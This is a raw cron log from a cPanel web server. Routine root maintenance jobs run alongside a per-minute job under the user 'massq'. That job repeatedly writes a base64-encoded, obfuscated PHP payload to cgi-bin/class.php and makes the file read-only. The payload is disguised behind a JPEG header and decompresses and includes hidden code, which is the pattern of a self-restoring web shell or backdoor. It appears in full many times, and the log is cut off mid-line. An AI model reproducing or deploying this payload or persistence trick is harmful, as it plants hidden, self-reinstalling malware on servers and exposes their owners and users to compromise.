Sep  3 06:05:01 server CROND[18253]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 06:05:01 server CROND[18257]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 06:05:01 server CROND[18263]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 06:05:01 server CROND[18262]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 06:05:01 server CROND[18265]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 06:05:01 server CROND[18264]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 06:05:01 server CROND[18269]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 06:05:01 server CROND[18267]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 06:06:01 server CROND[19110]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 06:06:01 server CROND[19111]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 06:06:01 server CROND[19112]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 06:07:01 server CROND[19587]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 06:07:01 server CROND[19588]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 06:07:01 server CROND[19596]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 06:08:01 server CROND[20031]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 06:08:01 server CROND[20032]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 06:08:01 server CROND[20033]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 06:09:01 server CROND[20423]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 06:09:01 server CROND[20424]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  3 06:09:01 server CROND[20425]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 06:09:01 server CROND[20426]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 06:10:01 server CROND[20829]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 06:10:01 server CROND[20831]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 06:10:01 server CROND[20833]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 06:10:01 server CROND[20834]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 06:10:01 server CROND[20837]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 06:10:01 server CROND[20836]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 06:10:01 server CROND[20835]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 06:10:01 server CROND[20838]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 06:11:01 server CROND[21679]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 06:11:01 server CROND[21681]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 06:11:01 server CROND[21682]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 06:12:01 server CROND[22168]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 06:12:01 server CROND[22169]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 06:12:01 server CROND[22170]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 06:12:01 server CROND[22171]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 06:13:01 server CROND[22557]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 06:13:01 server CROND[22558]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 06:13:01 server CROND[22559]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 06:14:01 server CROND[23120]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 06:14:01 server CROND[23121]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 06:14:01 server CROND[23122]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 06:15:01 server CROND[23542]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 06:15:01 server CROND[23543]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 06:15:01 server CROND[23546]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt >/dev/null 2>&1)
Sep  3 06:15:01 server CROND[23549]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 06:15:01 server CROND[23548]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 06:15:01 server CROND[23547]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  3 06:15:01 server CROND[23552]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 06:15:01 server CROND[23553]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  3 06:15:01 server CROND[23551]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 06:15:01 server CROND[23556]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 06:16:01 server CROND[24412]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 06:16:01 server CROND[24413]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKj